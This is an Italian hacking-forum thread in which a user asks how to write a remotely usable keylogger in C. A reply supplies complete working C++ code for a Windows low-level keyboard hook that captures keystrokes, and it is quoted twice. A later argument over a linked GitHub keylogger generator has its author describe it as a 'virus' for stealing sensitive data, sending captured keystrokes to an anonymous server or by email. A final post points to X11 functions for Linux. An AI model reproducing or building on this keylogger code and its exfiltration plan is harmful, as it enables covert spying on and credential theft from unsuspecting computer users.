Domanda Come programma un keylogger in c

Stato
Discussione chiusa ad ulteriori risposte.

spyhole

Utente Silver
11 Aprile 2016
80
28
2
61
Conosco il funzionamento del classico keylogger e conosco le basi del c, ma non conosco tutte le librerie e le funzioni quindi volevo chiedere a qualcuno di esperto se mi postasse una guida o se gentilmente me lo dicesse lui stesso su come scrivere in C un bel keylogger che funzioni anche da remoto.
 
Ci sono vari modi per creare un keylogger
Con la funzione Winapi GetAsyncKeyState
Oppure lo puoi fare con la funzione per hookare la keyboard SetWindowsHookEx

Ti scrivo il codice ora , tanto non ho niente da fare
 
C++:
#include <iostream>
#include <Windows.h>

using namespace std;
static int caps = false;
LRESULT CALLBACK LowLevelKeyBoard(int nCode, WPARAM wParam, LPARAM lParam);

int main()
{
 
    SetWindowsHookEx(WH_KEYBOARD_LL, LowLevelKeyBoard, 0, 0);
    MSG msg;

    while (GetMessage(&msg, 0, 0, 0))
    {
        TranslateMessage(&msg);
        DispatchMessage(&msg);
    }
 
    return 0;
}

LRESULT CALLBACK LowLevelKeyBoard(int nCode, WPARAM wParam, LPARAM lParam)
{
    auto keyCode = (KBDLLHOOKSTRUCT*)lParam;
    if (wParam == WM_KEYDOWN)
    {
        switch (keyCode->vkCode)
        {
        case 0x14:
            caps = !caps;
            return 0;
        }
        if (!caps)
            cout << (char)tolower(keyCode->vkCode);
        else
            cout << (char)keyCode->vkCode;
    }
    return 0;
}

Lo scritto in c++ , ma ho usato soltanto la cout.
Questo e' il codice che volevi , e' semplice , prima di tutto hooko la tastiera e faccio gestire tutte le operazione alla funzione lowlevelkeyboard
Svolgo un ciclo di capture dei messaggi (GETMESSAGE)
nella funzione Lowlevelkeyboard trasformo la mia variabile keyCode nella struct KBDLLHOOKSTRUCT avendo l'indirizzo lParam
verifico che ho rilasciato il pulsante della tastiera
controllo se ho attivato la CAPS
Piu' o meno questo e' l'algoritmo ,quello che devi fare e' continuare il codice
Io ti ho dato una strada in bocca al lupo

Ulteriori informazioni
LRESULT CALLBACK
LRESULT = LONG
CALLBACK = __stdcall

Te lo semplificato 1000 volte
 
C++:
#include <iostream>
#include <Windows.h>

using namespace std;
static int caps = false;
LRESULT CALLBACK LowLevelKeyBoard(int nCode, WPARAM wParam, LPARAM lParam);

int main()
{
 
    SetWindowsHookEx(WH_KEYBOARD_LL, LowLevelKeyBoard, 0, 0);
    MSG msg;

    while (GetMessage(&msg, 0, 0, 0))
    {
        TranslateMessage(&msg);
        DispatchMessage(&msg);
    }
 
    return 0;
}

LRESULT CALLBACK LowLevelKeyBoard(int nCode, WPARAM wParam, LPARAM lParam)
{
    auto keyCode = (KBDLLHOOKSTRUCT*)lParam;
    if (wParam == WM_KEYDOWN)
    {
        switch (keyCode->vkCode)
        {
        case 0x14:
            caps = !caps;
            return 0;
        }
        if (!caps)
            cout << (char)tolower(keyCode->vkCode);
        else
            cout << (char)keyCode->vkCode;
    }
    return 0;
}

Lo scritto in c++ , ma ho usato soltanto la cout.
Questo e' il codice che volevi , e' semplice , prima di tutto hooko la tastiera e faccio gestire tutte le operazione alla funzione lowlevelkeyboard
Svolgo un ciclo di capture dei messaggi (GETMESSAGE)
nella funzione Lowlevelkeyboard trasformo la mia variabile keyCode nella struct KBDLLHOOKSTRUCT avendo l'indirizzo lParam
verifico che ho rilasciato il pulsante della tastiera
controllo se ho attivato la CAPS
Piu' o meno questo e' l'algoritmo ,quello che devi fare e' continuare il codice
Io ti ho dato una strada in bocca al lupo

Ulteriori informazioni
LRESULT CALLBACK
LRESULT = LONG
CALLBACK = __stdcall

Te lo semplificato 1000 volte
grazie mille diolegend... gentilissimo
 
Ecco lui sfrutta la funzione GetAsyncKeyState
Non ti consiglio di studiare quel codice , comincia dai codici semplici
 
Non ti consiglio di studiare quel codice , comincia dai codici semplici
Io direi più che altro, comincia dai codici scritti bene.
Senza offesa per nessuno, ma quella roba linkata su Git è veramente una cosa inconcepibile, personalmente mi sarei vergognato di metterla su github perchè non rispetta alcun canone di buona programmazione.
Scusate la brutalità ma penso faccia bene rendersi conto e soprattutto un principiante non prenderà di esempio una cosa per nulla istruttiva, anzi, direi deleteria.
 
  • Mi piace
Reazioni: </Singh>™
Io direi più che altro, comincia dai codici scritti bene.
Senza offesa per nessuno, ma quella roba linkata su Git è veramente una cosa inconcepibile, personalmente mi sarei vergognato di metterla su github perchè non rispetta alcun canone di buona programmazione.
Scusate la brutalità ma penso faccia bene rendersi conto e soprattutto un principiante non prenderà di esempio una cosa per nulla istruttiva, anzi, direi deleteria.

Sono daccordo con te, per questo ho detto che sconsiglio quella cosa linkata GIT
 
Ultima modifica:
Ognuno ha le sue opinioni ci mancherebbe. Quello è semplicemente un programma che ti da come output 4 codici di keylogger semplici, basati principalmente su get async key state. Non mi vergogno per nulla, perchè gli ho fatti io , e puó essere anche una banalità ma è servito nella mia crescita culturale comunque. Piuttosto dovresti vergognarti tu che parli a sproposito avendo """programmato""""" un codice , che per quanto riguarda i keylogger è meno dell'abc e non hai capito NIENTE su quel progetto. Che non sia identato il codice di output, non significa che sia mal programmato. Saluti


Inviata da iPhone tramite app ufficiale di Inforge.net
 
Ultima modifica:
Guarda il fatto che quel codice sia scritto male non è un'opinione.
Che ti sia stato utile per fare pratica non lo metto in dubbio, ma il fatto che se uno che sta imparando debba usarlo come esempio proprio no, perchè imparerebbe solamente tecniche di programmazione errate.

E no, non mi vergogno a dire che quel codice è una lacerazione alla cornea ogni volta che lo guardo, che è mal progettato, mal programmato e arrogantemente difeso.
E se non ti fidi del mio parere, manda il tuo codice su https://codereview.stackexchange.com/ e vedrai come saranno molto, ma molto, ma proprio molto molto più cattivi di me.

Ora ti do un consiglio, che è gratis, quando qualcuno che evidentemente ne sa di più. ha più esperienza (teorica e pratica) e più titoli, ti fa una critica, ringrazia.
Quando iniziai io avrei pagato perché qualcuno lo facesse con me, avrei risparmiato veramente molto tempo.

E ripeto, mostra quel codice a chiunque nel forum ne capisca un minimo di programmazione e ti dirà le stesse cose che ho detto io.
E visto che sei arrogante con me, ti dico arrogantemente che nemmeno a 13 anni programmavo aborti del genere. Saluti
 
  • Mi piace
Reazioni: NicoWonka
Guarda il fatto che quel codice sia scritto male non è un'opinione.
Che ti sia stato utile per fare pratica non lo metto in dubbio, ma il fatto che se uno che sta imparando debba usarlo come esempio proprio no, perchè imparerebbe solamente tecniche di programmazione errate.

E no, non mi vergogno a dire che quel codice è una lacerazione alla cornea ogni volta che lo guardo, che è mal progettato, mal programmato e arrogantemente difeso.
E se non ti fidi del mio parere, manda il tuo codice su https://codereview.stackexchange.com/ e vedrai come saranno molto, ma molto, ma proprio molto molto più cattivi di me.

Ora ti do un consiglio, che è gratis, quando qualcuno che evidentemente ne sa di più. ha più esperienza (teorica e pratica) e più titoli, ti fa una critica, ringrazia.
Quando iniziai io avrei pagato perché qualcuno lo facesse con me, avrei risparmiato veramente molto tempo.

E ripeto, mostra quel codice a chiunque nel forum ne capisca un minimo di programmazione e ti dirà le stesse cose che ho detto io.
E visto che sei arrogante con me, ti dico arrogantemente che nemmeno a 13 anni programmavo aborti del genere. Saluti
Ammettilo che il goto alla fin fine ti piace
 
Guarda il fatto che quel codice sia scritto male non è un'opinione.
Che ti sia stato utile per fare pratica non lo metto in dubbio, ma il fatto che se uno che sta imparando debba usarlo come esempio proprio no, perchè imparerebbe solamente tecniche di programmazione errate.

E no, non mi vergogno a dire che quel codice è una lacerazione alla cornea ogni volta che lo guardo, che è mal progettato, mal programmato e arrogantemente difeso.
E se non ti fidi del mio parere, manda il tuo codice su https://codereview.stackexchange.com/ e vedrai come saranno molto, ma molto, ma proprio molto molto più cattivi di me.

Ora ti do un consiglio, che è gratis, quando qualcuno che evidentemente ne sa di più. ha più esperienza (teorica e pratica) e più titoli, ti fa una critica, ringrazia.
Quando iniziai io avrei pagato perché qualcuno lo facesse con me, avrei risparmiato veramente molto tempo.

E ripeto, mostra quel codice a chiunque nel forum ne capisca un minimo di programmazione e ti dirà le stesse cose che ho detto io.
E visto che sei arrogante con me, ti dico arrogantemente che nemmeno a 13 anni programmavo aborti del genere. Saluti
Ah sì sì infatti si vede come ne sai più di me. A 13 anni non sapevi manco che era il computer, anzi a mio parere non lo sai nemmeno ora...
Probabilmente ora sto sminuendo con questa 'offesa' quello che andrò a dire... Allora,
Che ci sia IL GOTO (è un esempio) non significa che sia mal programmato, ma nemmeno ho detto che sia giusto usarlo, anzi ,io non lo uso MAI ma in quel caso per non richiamare un'altra funzione o fare un altro ciclo pre-condizionale e per velocizzare, l'ho utilizzato .... Magari potrai sapere qualche cosa in più per quanto riguarda la sintattica (anche se non lo credo almeno fin quando non me lo dimostri,e io le critiche le accetto sia ben chiaro), ma un professorone come te che spunta dal nulla e senza nemmeno conoscermi mi viene a dire di non saper programmare per me è solo un fallito. Ma tranquillo che non sei l'unico su questa piattaforma a comportarsi così, ho notato che è un classico in qualsiasi campo.
La finisco qui altrimenti segnalano i messaggi come inopportuni ed effettivamente lo sono.... Se hai qualcosa da criticarmi, controbattermi o quant'altro, non ho problemi a discuterne in privato.

Statt buon
 
Ultima modifica:
Che ci sia IL GOTO
Il goto è un dettaglio, e in realtà in alcuni casi è anche giusto usarlo (non nel caso in cui l'hai usato te).
Ma quel codice è orribile sotto ogni punto di vista:
https://github.com/Virgula0/keylogger_creator/blob/master/keylogger.cpp#L92-L123
https://github.com/Virgula0/keylogger_creator/blob/master/lib/__choose_dir__.h#L39-L72
https://github.com/Virgula0/keylogger_creator/blob/master/lib/__keylogger_3__.h#L20-L100
Tutti questi elseif sono totalmente assurdi. In generale, se ti ripeti, se scrivi costrutti infiniti e lunghi come questo, vuol dire che stai sbagliando qualcosa. Ad esempio, nell'ultimo link, non serviva nemmeno un if: bastava concatenare un paio di stringhe e poco più.
Oppure il primo link e il secondo link: se da dir_choose facevi ritornare la stringa con il nome della cartella invece che un numero e la passavi quindi direttamente all'altra funzione, risparmiavi tutti gli if in entrambi i file.
https://github.com/Virgula0/keylogger_creator/blob/master/lib/__system__.h#L10-L104
Come anche tutte queste chiamate a system. Lo stesso system l'hai usato in diversi altri punti. Sembra quasi che quel codice sia stato scritto da uno che proviene dal batch di Windows e che non ha mai studiato C e C++ su manuali e perciò non ha idea di cosa sta facendo. system non dovrebbe essere MAI utilizzato.
Il codice è illeggibile, i nomi delle funzioni non sono significativi (uno che legge il codice, e trova key_logger_3("Programmi") come può capirlo?), e lo hai suddiviso senza minima logica su più file (tra l'altro hai utilizzato degli header file per contenere istruzioni e un file per ogni funzione). Poi, il codice funziona sul tuo computer, su un altro computer potrebbe non funzionare (a parte il fatto che funziona solo su Windows): ad esempio perché se sul tuo computer la directory dei programmi è "C:\Programmi" su un altro computer può essere diverso, ad esempio "C:\Program Files", e già il codice non funziona più. C'è anche tanto altro: in generale, tutto il codice è pessimo.

Exsta ha ragione: quel codice è un esempio di come NON si deve programmare. E non dovresti prendertela: Exsta ha fatto bene ad avvertire prima che qualcuno prendesse un codice del genere come esempio, e anche a spiegarti che così non va bene.
Mi smentirai se mi sbaglio, ma credo che non hai mai studiato questi linguaggi (il C e il C++) su un manuale. Magari dovresti prima scrivere codici e rilasciarli. Perciò, ti linko questa, dove trovi anche una lista di manuali: https://www.inforge.net/xi/threads/frequently-asked-questions-da-dove-si-parte.441093/

P.S.: Noto anche la presenza di un file ".dev". Deduco quindi che stai utilizzando Dev-C++: è un pessimo IDE - dovresti evitarlo.
 
Mio caro @ArrackHack come vedi anche @SpeedJack ti sta confermando le mie parole, dicendoti giusto le cose più evidenti del perché quel codice sia sbagliato. Magari di lui ti fidi di più, se no possiamo anche chiamare ogni programmatore del forum (e non serve che siano programmatori C/C++, o tantomeno esperti, per vedere i difetti del tuo lavoro, perché sono estremamente grossolani).

Per quanto riguarda le provocazioni rivolte a me, non mi serve dimostrarti nulla, mostrarti il curriculum o mostrarti le tesi di laurea od eventuali pubblicazioni scientifiche, se ti fidi bene, per ora siamo in due ad averti detto le stesse cose, quindi qualche domanda comincerei a farmela.
 
  • Mi piace
Reazioni: NicoWonka
Guarda che le domande me le sono fatte dal primo commento che tu hai scritto, solo perchè ho avuto i tuoi stessi toni non significa che abbia ignorato i suggerimenti. Io non ho detto che il codice è scritto correttamente per filo e per segno, quello che mi ha dato fastidio è stato il tuo : non sai programmare (o qualcosa che hai detto del genere ora non ricordo bene). Commenti scritti come quelli di SpeedJack sono già un'altra cosa , perchè il suo commento e/o critiche educate le accetto tranquillamente, ma non preoccuparti che rispondo quali sono le mie idee.

Ripeto che ovviamente il codice non è correttissimo e anche a distanza di 8 mesi avendo anche in pò più di esperienza me ne sono accorto ma mo non è che mi metto a cambiarlo anche perchè è chiuso, basta quello è. e rispondo solo secondo alcune linee logiche.

Inizio con il fatto delle directory che potrebbero cambiare da pc a pc e da os a os. E' perfettamente vero, ma non a caso il mio progetto è open source... Mi spiego meglio, se tu vuoi installare il "virus" su un pc, devi sapere bene il pc con il quale hai a che fare , ciò non è solo per lamerate: che lo installi solo per scopi puramente ludici su un pc che nemmeno conosci per rubare dati sensibili e altro, non a caso, è open source, e tu puoi modificare lo script che include la cartelle di salvataggio e di tutto il resto, settando il virus secondo le tue esigenze ... Puoi Persino cambiare il fatto che il virus invia i dati tramite un server che tu ti crei anonimamente , e tu puoi reperire i dati comodamente dal server. Ma essendo open source questo puoi cambiarlo ad esempio, dicendo al virus di inviare i dati salvati per email tramite smtp o imap e quant'altro.
Il progetto è una base, non deve essere preso come programma terminato, completo e sopratutto creato puramente per scopi ludici.
Io sono abbastanza contrario sull'utilizzo di get async key... ma in quel caso era la funzione più comoda come lo è in altri.

Rispondo ai System utilizzati....
So benissimo che i System non andrebbero mai utilizzati, e che bisognerebbe usare le API di windows per eseguire le medesime operazioni. Ma come per l'utilizzo di un goto, i System sono stati usati solo per una questione si sveltezza, tenete presente che è stato programmato in un giorno.
Inoltre rispondo anche al fatto dell'utilizzo di file di header.... In quel caso è verissimo che non hanno un vero scopo funzionale ma è stato fatto per avere un codice relativamente più pulito e più ordinato e secondo uno schema e ragionamento del tipo:

Il file header 1 (ad esempio) contiene il virus 1 -> Quindi richiamo la funzione in quel file header senza implementare la funzione nel source principale creando 1000 e 1000 righe di confusione.

La scelta dell'invio di variabili secondo le restituzioni di interi da funzioni e quindi la scelta dell'utilizzo di tutti quegli if else, è voluta.
Avrei potuto benissimamente inviare stringhe alle funzioni in modo diretto, invece di leggere una variabile di ritorno , vedere che devo fare, inviare un input intero per avere un determinato output ecc ecc... Questa ultima parte deriva da una scelta personale per quanto riguarda lo stile nella programmazione del codice.... in ogni caso vedo che i miei messaggi precedenti sono stati presi come presuntuosi , e forse lo sono stati, ma proporzionalmente al tuo comportamento. Critiche commenti e altro, ripeto che le accetto e le accetterò, premesse che vengano giustificate come ha fatto speedjack, non come hai fatto tu, che è BEN DIVERSO.
Con questo non voglio giustificare gli errori di scelta dell'uso di System invece delle api e dei goto ecc ecc implementati nel codice, che sia chiaro.

Spero di essere stato esaustivo, saluti.
 
Guarda che le domande me le sono fatte dal primo commento che tu hai scritto, solo perchè ho avuto i tuoi stessi toni non significa che abbia ignorato i suggerimenti. Io non ho detto che il codice è scritto correttamente per filo e per segno, quello che mi ha dato fastidio è stato il tuo : non sai programmare (o qualcosa che hai detto del genere ora non ricordo bene). Commenti scritti come quelli di SpeedJack sono già un'altra cosa , perchè il suo commento e/o critiche educate le accetto tranquillamente, ma non preoccuparti che rispondo quali sono le mie idee.

Ripeto che ovviamente il codice non è correttissimo e anche a distanza di 8 mesi avendo anche in pò più di esperienza me ne sono accorto ma mo non è che mi metto a cambiarlo anche perchè è chiuso, basta quello è. e rispondo solo secondo alcune linee logiche.

Inizio con il fatto delle directory che potrebbero cambiare da pc a pc e da os a os. E' perfettamente vero, ma non a caso il mio progetto è open source... Mi spiego meglio, se tu vuoi installare il "virus" su un pc, devi sapere bene il pc con il quale hai a che fare , ciò non è solo per lamerate: che lo installi solo per scopi puramente ludici su un pc che nemmeno conosci per rubare dati sensibili e altro, non a caso, è open source, e tu puoi modificare lo script che include la cartelle di salvataggio e di tutto il resto, settando il virus secondo le tue esigenze ... Puoi Persino cambiare il fatto che il virus invia i dati tramite un server che tu ti crei anonimamente , e tu puoi reperire i dati comodamente dal server. Ma essendo open source questo puoi cambiarlo ad esempio, dicendo al virus di inviare i dati salvati per email tramite smtp o imap e quant'altro.
Il progetto è una base, non deve essere preso come programma terminato, completo e sopratutto creato puramente per scopi ludici.
Io sono abbastanza contrario sull'utilizzo di get async key... ma in quel caso era la funzione più comoda come lo è in altri.

Rispondo ai System utilizzati....
So benissimo che i System non andrebbero mai utilizzati, e che bisognerebbe usare le API di windows per eseguire le medesime operazioni. Ma come per l'utilizzo di un goto, i System sono stati usati solo per una questione si sveltezza, tenete presente che è stato programmato in un giorno.
Inoltre rispondo anche al fatto dell'utilizzo di file di header.... In quel caso è verissimo che non hanno un vero scopo funzionale ma è stato fatto per avere un codice relativamente più pulito e più ordinato e secondo uno schema e ragionamento del tipo:

Il file header 1 (ad esempio) contiene il virus 1 -> Quindi richiamo la funzione in quel file header senza implementare la funzione nel source principale creando 1000 e 1000 righe di confusione.

La scelta dell'invio di variabili secondo le restituzioni di interi da funzioni e quindi la scelta dell'utilizzo di tutti quegli if else, è voluta.
Avrei potuto benissimamente inviare stringhe alle funzioni in modo diretto, invece di leggere una variabile di ritorno , vedere che devo fare, inviare un input intero per avere un determinato output ecc ecc... Questa ultima parte deriva da una scelta personale per quanto riguarda lo stile nella programmazione del codice.... in ogni caso vedo che i miei messaggi precedenti sono stati presi come presuntuosi , e forse lo sono stati, ma proporzionalmente al tuo comportamento. Critiche commenti e altro, ripeto che le accetto e le accetterò, premesse che vengano giustificate come ha fatto speedjack, non come hai fatto tu, che è BEN DIVERSO.
Con questo non voglio giustificare gli errori di scelta dell'uso di System invece delle api e dei goto ecc ecc implementati nel codice, che sia chiaro.

Spero di essere stato esaustivo, saluti.
Dillo anche te che quel codice e' una schifezza inconcepibile
Perche' dare come esempio quel codice a un principiante
 
@ArrackHack io non ne capisco un pazzo di programmazione e non ti posso dire nulla di tecnico.
L'unica cosa che ci tengo a dirti è che io sono su questo forum da molto tempo e, pur non capendoci molto, ogni tanto mi piace leggere qualcosa di programmazione e i signori @SpeedJack ed @Exsta hanno un'esperienza enorme e una reputazione che tutti gli utendi del forum invidiano. Per non parlare del fatto che i loro lavori e consigli sono apprezzati e richiesti dal 99% della community. Quindi il mio consiglio è di accettare i consigli e non cercare sempre di difendere a spada tratta un proprio lavoro perchè: se uno fa una cazzata qualche anno prima non succede nulla, ma se la difende anche a distanza di tempo sapendo che è una cazzata...ne fa due.

-MrW
 
@ArrackHack io non ne capisco un pazzo di programmazione e non ti posso dire nulla di tecnico.
L'unica cosa che ci tengo a dirti è che io sono su questo forum da molto tempo e, pur non capendoci molto, ogni tanto mi piace leggere qualcosa di programmazione e i signori @SpeedJack ed @Exsta hanno un'esperienza enorme e una reputazione che tutti gli utendi del forum invidiano. Per non parlare del fatto che i loro lavori e consigli sono apprezzati e richiesti dal 99% della community. Quindi il mio consiglio è di accettare i consigli e non cercare sempre di difendere a spada tratta un proprio lavoro perchè: se uno fa una cazzata qualche anno prima non succede nulla, ma se la difende anche a distanza di tempo sapendo che è una cazzata...ne fa due.

-MrW
Il codice è scritto maluccio. Comunque non te la prendere, anche io un annetto fa scrivevo codici che facevano proprio schifo. L'importante è migliorare con il tempo.

Comunque il keylogger lo posso fare anche puramente con le win32 api? Sono troppo difficili le api di Windows per implementare un keylogger?

Grazie sempre per l aiuto
 
Per Linux la questione è più difficile e richiede che l'utente utilizzi un ambiente grafico basato su X11, come GNOME, KDE, Unity, xfce, etc. (è possibile farne a meno, ma devi interfacciarti (anche indirettamente) con la tastiera oppure crearti un modulo del kernel apposta).

Nel caso utilizzi X11 devi utilizzare funzioni tipo XQueryKeymap (https://tronche.com/gui/x/xlib/input/XQueryKeymap.html).
 
Stato
Discussione chiusa ad ulteriori risposte.